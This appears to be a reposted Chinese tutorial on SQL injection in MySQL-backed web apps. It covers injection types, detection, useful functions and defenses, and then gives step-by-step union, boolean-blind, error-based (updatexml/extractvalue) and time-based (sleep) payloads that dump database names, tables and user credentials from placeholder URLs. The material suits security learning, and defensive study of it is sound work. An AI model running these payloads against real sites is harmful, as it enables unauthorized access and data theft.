IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> SQL注入介绍 -> 正文阅读

[PHP知识库]SQL注入介绍

(一)SQL注入

1.1 什么叫SQL注入

  • 程序不判断和处理用户输入数据的合法性,这使得攻击者能够在管理员不知情的情况下向Web应用程序中的预定义SQL语句添加额外的SQL语句并实施非法操作,从而欺骗数据库服务器执行未经授权的任意查询, 从而进一步获取数据信息。

  • 简而言之,SQL注入是将SQL语句包含在用户输入的字符串中,如果在设计不佳的程序中忽略检查,注入的SQL语句将被数据库服务器误认为是正常的SQL语句并运行,攻击者可以执行计划外的命令或访问未经授权的数据。

1.2 SQL注入分类

  • 按照注入点类型来分类
    (1)数字型注入点
    类似结构 http://xxx.com/users.php?id=1 基于此种形式的注入,一般被叫做数字型注入点,缘由是其注入点 id 类型为数字
    (2)字符型注入点
    类似结构 http://xxx.com/users.php?name=admin 这种形式,其注入点 name 类型为字符类型,所以叫字符型注入点
    (3)搜索型注入点
    这类注入主要是指在进行数据搜索时没过滤搜索参数,一般在链接地址中有 “keyword=关键字” 有的不显示在的链接地址里面,而是直接通过搜索框表单提交
  • 按照数据提交的方式来分类
    (1)GET 注入
    提交数据的方式是 GET , 注入点的位置在 GET 参数部分。
    (2)POST 注入
    使用 POST 方式提交数据,注入点位置在 POST 数据部分,常发生在表单中。
    (3)Cookie 注入
    HTTP 请求的时候会带上客户端的 Cookie, 注入点存在 Cookie 当中的某个字段中。
    (4)HTTP 头部注入
    注入点在 HTTP 请求头部的某个字段中。比如存在 User-Agent 字段中。严格讲的话,Cookie 其实应该也是算头部注入的一种形式。因为在 HTTP 请求的时候,Cookie 是头部的一个字段。
  • 按照执行效果来分类
    (1)基于布尔的盲注
    即可以根据返回页面判断条件真假的注入。
    (2)基于时间的盲注
    即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
    (3)基于报错注入
    即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。

1.3 SQL漏洞探测

一般来说,SQL 注入一般存在于形如:http://xxx.xxx.xxx/abc.asp?id=XX 等带有参数的 ASP 动态网页中,有时一个动态网页中可能只有一个参数,有时可能有 N 个参数,有时是整型参数,有时是字符串型参数,不能一概而论。总之只要是带有参数的动态网页并且该网页访问了数据库,那么就有可能存在 SQL 注入。
1、先加单引号’、双引号"、等看看是否报错,如果报错就可能存在SQL注入漏洞了。
2、还有在URL后面加 and 1=1 、 and 1=2 看页面是否显示一样,显示不一样的话,肯定存在SQL注入漏洞了。
3、还有就是Timing Attack测试,也就是时间盲注。通过简单的条件语句比如 and 1=2 是无法看出异常的。在MySQL中,有一个Benchmark() 函数,它是用于测试性能的。 Benchmark(count,expr) ,这个函数执行的结果,是将表达式 expr 执行 count 次 。

因此,利用benchmark函数,可以让同一个函数执行若干次,使得结果返回的时间比平时要长,通过时间长短的变化,可以判断注入语句是否执行成功。

1.4 SQL注入常用函数

  • Version();当前 mysql 的版本
  • Database();当前网站使用的数据库
  • User();当前 MySQL 的用户
  • system_user(); 系统用户名
  • session_user();连接数据库的用户名
  • current_user;当前用户名
  • load_file();读取本地文件
  • length(str) : 返回给定字符串的长度,如 length(“string”)=6
  • substr(string,start,length) : 对于给定字符串string,从start位开始截取,截取length长度 ,如 substr(“chinese”,3,2)=“in”
    substr()、stbstring()、mid() 三个函数的用法、功能均一致
  • concat(username):将查询到的username连在一起,默认用逗号分隔
  • concat(str1,’’,str2):将字符串str1和str2的数据查询到一起,中间用连接
  • group_concat(username) :将username数据查询在一起,用逗号连接

1.5 SQL注入防御

  • (1)关闭 SQL 错误回显
  • (2)前端输入字符白名单验证(长度、类型等)
  • (3)对输入的特殊字符使用转义处理
  • (4)SQL 操作使用 PreParedStatement
  • (5)SQL 服务运行于专门的账号,并且使用最小权限
  • (6)限制 SQL 服务的远程访问,只开放给特定开发人员
  • (7)代码审计,最有效的检测应用程序的注入风险的方法之一
  • (8)使用成熟的WAF

1.6 关于数据库

  • MySQL5.0版本后,MySQL 默认在数据库中存放一个information_schema的数据库,在该库中,我们需要记住三个表名,分别是 schemata,tables,columns。
  • Schemata表存储的是该用户创建的所有数据库的库名,需要记住该表中记录数据库名的字段名为 schema_name。
  • Tables表存储该用户创建的所有数据库的库名和表名,要记住该表中记录数据库 库名和表名的字段分别是 table_schema 和 table_name.
  • Columns表存储该用户创建的所有数据库的库名、表名、字段名,要记住该表中记录数据库库名、表名、字段名为 table_schema、table_name、columns_name。

(二)SQL注入实例

2.1 Union联合查询

   union联合、合并:将多条查询语句的结果合并成一个结果,union 注入攻击为一种手工测试。 
   注入思路:
   A:判断是否存在注入点,,Url:http://xxxxxxxxx?id=1 
     1' 	异常,如果页面返回错误,则存在 Sql 注入。 原因是无论字符型还是整型都会因为单引号个数不匹配而报错。
     1 and 1=1  返回结果和 id=1 一样 
     1 and 1=2  异常 
     从而则一定存在 SQL 注入漏洞,且为数字型注入
   B:order by 1-99 语句来查询该数据表的字段数
   C:利用获得的列数使用联合查询,union select 与前面的字段数一样
     找到了数据呈现的位置http://xxxxxxx?id=1 union select 1,2,3,4,5,6 
   D:根据显示内容确定查询语句的位置,利用 information_schema 
     依次进行查询 schemata, tables,columns 
   E:已知库名、表名和字段名,接下来就爆数据

2.2 Boolean注入

   判断方式:
   通过长度判断 length(): length(database())>=x
   通过字符判断 substr():substr(database() ,1,1)= 's'
   通过 ascII 码判断:ascii():ascii(substr(database(),1,1)) =x 
   注入漏洞判断:
   1.id=1'   报错 
   2.id=1 and 1=1  结果和 id=1 一样
   3.id=1 and 1=2  结果异常
 A:判断数据库名的长度 http://xxxxxx?id=1' and length(database())>=1--+  从而判 断数据库名的长度为 4
 B:判断数据库名 Substr() 数据库库名 a~z,0~9 ‘and substr(database(),1,1)--+ 
 C:Burp 判断数据库名 http://xxxxxxxx?id=1' and substr(database(),1,1)='a'--+ 逐字判断数据库名为 test,test 数据库名 
 D:Burpsuite 爆破数据库的表名 http://xxxxxx?id=1' and substr((select table_name from information_schema.tables where table_schema='test' limit 0,1),1,1)='a'--+ person     users   xss  //三个表
 E:Burp 爆字段名 http://xxxxxxxx?id=1' and substr((select column_name from information_schema.columns where table_schema='test' and table_name='users' limit 0,1),1,1)='a'--+ id   username  password 等
 F:获取数据 http://xxxxx?id=1' and substr((select username from test.users limit 0,1),1,1)='a'--+ 

2.3 报错注入

  • 在 MYSQL 中使用一些指定的函数来制造报错,后台没有屏蔽数据库报错信息,在语法发生错 误时会输出在前端,从而从报错信息中获取设定的信息。select/insert/update/delete 都 可以使用报错来获取信息。常用的爆错函数 updatexml(),extractvalue(),floor() ,exp()
payload语法:
updatexml(xml_document,Xpathstring,new_value) 
       payload1:updatexml(1,concat(0x7e,(select database()),0x7e),1)
       payload2:extractvalue(1,concat(0x7e,(select database())))
       payload3:(select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)# 
       
攻击实战:
A:注入点探测及类型 a’制作报错,字符型 
B:利用函数 updatexml()获取数据库名 http://xxxxx?username=a' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
C:利用函数 updatexml()获取表名 http://xxxxxxx?username=a' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='test'),0x7e),1)--+
D:利用函数 updatexml()获取字段名 http://xxxxxxx?username=a' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='test' and table_name='users'),0x7e),1)--+ 
E:利用函数 updatexml()获取值 http://xxxxxxx?username=a' and updatexml(1,concat(0x7e,(select username from test.users limit 0,1),0x7e),1)--+ 

2.4 时间盲注

  • 代码存在 sql 注入漏洞,然而页面既不会回显数据,也不会回显错误信息,语句执行后也 不提示真假,我们不能通过页面的内容来判断。这里我们可以通过构造语句,通过页面响应的 时长,来判断信息,这既是时间盲注。原理:利用 sleep()或 benchmark()等函数让 mysql 执行时间变长经常与 if(expr1,expr2,expr3) 语句结合使用,通过页面的响应时间来判断条件是否正确。if(expr1,expr2,expr3)含义是如果 expr1 是 True,则返回 expr2,否则返回 expr3
特点:
通过时间回显的延迟作为判断 payload=1’ and sleep(5)–+ 有延迟则考虑时间盲注
利用 sleep()或 benchmark()函数延长 mysql 的执行时间
与 if()搭配使用

常用函数:
left(m,n) --从左向右截取字符串 m 返回其前 n 位
substr(m,1,1) --取字符串 m 的左边第一位起,1 字长的字符串
ascii(m) --返回字符 m 的 ASCII 码
base64(m)—返回字符 m 的 base64 编码 ? if(str1,str2,str3)–如果 str1 正确就执行 str2,否则执行 str3
sleep(m)–使程序暂停 m 秒
length(m) --返回字符串 m 的长度
count(column_name) --返回指定列的值的数目
payload:if(expr1,expr2,expr3) 语义解析 :

对 expr1 进行布尔判断,如果为真,则执行 expr2,如果为假,则执行 expr3 常用 payload: If(length(database())>1,sleep(5),1) 如果数据库名字符长度大于 1 为真,mysql 休眠 5 秒,如果为假则查询 1。而查询 1 的结果,大约只有几十毫秒,根据 Burp Suite 中页面的响应 时间,可以判断条件是否正确

攻击实战:
判断数据库名的长度
 http://xxxxxx?id=1 and if(length(database())>=6,sleep(5),1) 
爆库名
 http://xxxxxxx?id=1 and if(substr(database(),1,1)='a',sleep(5),1)   数据库名为 test 
爆表名
 http://xxxxxxx?id=1 and if(substr((select table_name from information_schema.tables where table_schema='test' limit 0,1),1,1)='a',sleep(5),1)  表名 
爆字段
 http://xxxxxxx?id=1 and if(substr((select column_name from information_schema.columns where table_schema='test' and table_name='users' limit 0,1),1,1)='a',sleep(5),1)  
爆数据 
 http://xxxxxxxxxx?id=1 and if(substr(select username from test.users limit 0,1),1,1)='a',sleep(5),1) 由于数据库名的范围一般在 a~z,0~9,特殊字符,大小写等
  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2022-03-13 21:32:24  更:2022-03-13 21:32:46 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/23 10:39:22-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码